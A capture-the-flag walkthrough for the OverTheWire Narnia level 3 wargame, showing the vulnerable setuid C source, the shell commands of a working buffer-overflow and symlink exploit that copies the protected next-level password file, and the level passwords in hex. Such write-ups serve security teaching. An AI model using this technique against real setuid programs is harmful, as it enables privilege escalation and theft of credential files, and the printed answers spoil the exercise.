# Narnia wargame: Level 3

# ssh narnia3@narnia.labs.overthewire.org
narnia3@narnia.labs.overthewire.org's password:
766165717565657a6565

narnia3@melissa$ file /narnia/narnia3
/narnia/narnia3: setuid ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.15, not stripped
narnia3@melissa$ cat /narnia/narnia3.c
#include <stdio.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <unistd.h>
#include <stdlib.h>
#include <string.h>

int main(int argc, char **argv){

        int  ifd,  ofd;
        char ofile[16] = "/dev/null";
        char ifile[32];
        char buf[32];

        if(argc != 2){
                printf("usage, %s file, will send contents of file 2 /dev/null\n",argv[0]);
                exit(-1);
        }

        /* open files */
        strcpy(ifile, argv[1]);
        if((ofd = open(ofile,O_RDWR)) < 0 ){
                printf("error opening %s\n", ofile);
                exit(-1);
        }
        if((ifd = open(ifile, O_RDONLY)) < 0 ){
                printf("error opening %s\n", ifile);
                exit(-1);
        }

        /* copy from file1 to file2 */
        read(ifd, buf, sizeof(buf)-1);
        write(ofd,buf, sizeof(buf)-1);
        printf("copied contents of %s to a safer place... (%s)\n",ifile,ofile);

        /* close 'em */
        close(ifd);
        close(ofd);

        exit(1);
}
narnia3@melissa$ mkdir -p /tmp/narnia3--------------------/tmp
narnia3@melissa$ ln -s /etc/narnia_pass/narnia4 /tmp/narnia3--------------------/tmp/n4pw
narnia3@melissa$ touch /tmp/n4pw
narnia3@melissa$ chmod 666 /tmp/n4pw
narnia3@melissa$ /narnia/narnia3 /tmp/narnia3--------------------/tmp/n4pw
copied contents of /tmp/narnia3--------------------/tmp/n4pw to a safer place... (/tmp/n4pw)
narnia3@melissa$ cat /tmp/n4pw
746861656e6f68746169